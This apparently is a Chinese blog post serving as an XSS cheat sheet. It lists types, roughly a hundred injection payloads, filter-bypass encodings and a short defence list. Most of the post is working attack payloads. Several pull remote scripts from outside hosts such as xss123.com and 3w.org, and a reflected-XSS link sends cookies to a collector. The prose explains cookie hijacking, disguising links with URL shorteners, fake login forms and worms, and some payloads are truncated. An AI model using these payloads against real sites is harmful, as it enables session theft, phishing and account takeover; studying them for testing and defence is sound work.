跨站脚本攻击(XSS)漏洞

漏洞分类

  • 反射型
  • 存储型
  • DOM型

反射型XSS

非持久化XSS,需要欺骗用户去点击才会出发XSS代码。

存储型XSS

持久化XSS,恶意代码存储在服务器的数据库中,用户访问即可触发XSS代码。

DOM型XSS

特殊类型的反射型XSS,基于DMO文档对象模型的一种漏洞。
dom 型 xss 是用过改变 html 的属性或动作造成的 xss 型漏洞。

利用方式

常用语句

<script>alert(/XSS/)</script>
<script>alert(1)</script>
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script>console.log(1);</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
1'OnMousEoVeR=prompt(1)//
1"OnMousEoVeR=prompt(1)//
1"OnMousEoVeR=alert(1)//
<a href="javascript:%70%72%6f%6d%70%74%28%31%29">xx</a>
//引号中间内容javascript:prompt(1)

闭合语句

"><span>x</span><"
'>"><span>x</span><'
"><span>x</span>//

语句大全

(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+'src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

利用场景

1.盗取账号密码;cookie
2.控制数据的增删改查
3.盗取主要数据信息
4.非法转账
5.强制发送电子邮件
6.网站挂马
7.控制受害者机器像其他网站发起攻击

第一 cookie劫持:

如果网站存在XSS漏洞,可以通过XSS漏洞来获取用户的cookie
危害:利用用户的cookie来进行登录用户后台
payload:<script>alert(document.cookie)</script>
反射型XSS利用:

http://192.168.0.115/06/vul/xss/xss_reflected_get.php?message=%3Cscript%20src=http://www.xss123.com/Pc1Ugp?1623757975%3E%3C/script%3E&submit=submit

将构造好的代码发送给管理员,或者攻击目标,如果受害者,访问这个拦截,就会获取用户访问这个网站的 cookie,如果是登录的 cookie,则攻击者把 cookie 替换受害者浏览器的 cookie,即可获取用户登录这个网站的登录权限。为了更加隐蔽的隐藏攻击代码,可以把当前的代码进行缩短。例如把 url 放入短网址平台,生成一个比较短的 url,发送给目标。

第二 构造GET或POST请求:

黑客可以通过XSS漏洞,来使得用户执行GET或POST请求
危害:可以控制用户删除数据或者发送邮件
例如GET payload:

<script>window.location.href='////www.xxx.com/index.php?type=delete&id=1';</script>

POST请求 需要线创建一个表单,然后让表单自动提交信息。

第三 钓鱼

我们从一开始的XSS漏洞简介可知道,XSS漏洞可以让我们对网页进行篡改,如果黑客在登录框的地方把原来的登录框隐藏一下,自己伪造一个登录框,用户在登录框上输入账号密码就会传送到黑客的服务器上
危害:获取用户账号密码

第四 识别用户浏览器

通过script语句能获得用户的浏览器信息
危害:获取浏览器信息,利用浏览器漏洞进行攻击
payload:<script>alert(navigator.userAgent)</script>

第五 识别用户安装的软件

通过script语句能够识别用户安装的软件
危害:获取用户软件信息,利用软件漏洞进行攻击
如下代码:

try{
var Obj=new ActiveXObject('XunLeiBHO.ThunderIEhelper');
}
catch(e){
//异常
}

第六 获得用户真实ip地址

借助第三方软件,比如客户端安装了Java(JRE)环境,那么可以通过调用JavaApplet接口获取客户端本地IP

第七 判断用户是否访问某个网站

style的visited属性,访问过的链接,颜色会变化.

第八 蠕虫

用户之间发生交互行为的页面,如果存在存储型XSS,则容易发起XSS Worm攻击.
如:2003年的冲击波蠕虫,利用的是Windows的RPC远程溢出漏洞
还有百度空间蠕虫,可自行百度搜一下

防御方式

  • 过滤输入的数据,非法字符
  • 对数据进行编码转换
  • 添加HttpOnly
  • 输入合法性检查
  • 白名单过滤标签
  • DOM XSS防御

绕过方式

gpc 过滤字符

如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成\' xss 攻击代码不要带用单引号或双引号。
绕过 gpc 在 php 高 版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes()对特殊字符进行转义。
<script src='http://www.xss123.com/JGdbsl?1623638390'></script>这个是执行不了的
<script src=http://www.xss123.com/JGdbsl?1623638390></script> 没有单引号可执行。

JS编码

https://www.jb51.net/tools/zhuanhuan.htm
八进制编码
<script>eval("\141\154\145\162\164\50\61\51");</script>
16 进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
JS unicode 编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>

HTML编码

在=后可以解析 html 编码
十进制
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;" />
<button onclick="confirm('7&#39;);">Button</button>
十六进制
<img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />

URL编码

<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>

长度绕过

标签绕过(标签闭合,标签优先性)

在程序里如果使用 html 实体过滤 在 php 会使用 htmlspecialchars()对输入的字符进行实体化 实体化之后的字符不会在 html 执行。把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或者>,这两个字符被实体化后在 html 里就不能执行了。
预定义的字符是:
& (和号)成为 &amp
" (双引号)成为 &quot ’ (单引号)成为&#039
< (小于)成为 &lt
> (大于)成为 &gt
但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。
<input type="text" name="username" value="" onclick="javascript:alert('xss');"/>

window.name利用

Flash XSS

利用Javascript开发框架漏洞

利用浏览器差异

关键字、函数

过滤alert

当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script src=http://www.xss123.com/eciAKj?1623635663></script>

ASCII 编码

<script>alert(String.fromCharCode(88,83,83))</script>

Base64编码

使用伪协议 base64 解码执行 xss
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

Bypass语句

<xss Bypass/onpointermove=(confirm)(1)>MoveMouseHere
<svg><script xlink:href="{ASCII}data:,alert(1)"></script></svg>
<img src=1 onerror="a:b:c:d:alert(1)">
<a/href="javascript%0A%0D:alert()">
<svg onload=alert%26%230000000040"")>
<svg onx=() onload=(confirm)(1)>
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
<object/data=javascript:alert()>
<svg onload=alert("")>
<lol/onauxclick=[0].some(alert)>rightclickhere
<svG/x=">"/oNloaD=confirm()//
posted @   KAKSKY  阅读(179)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示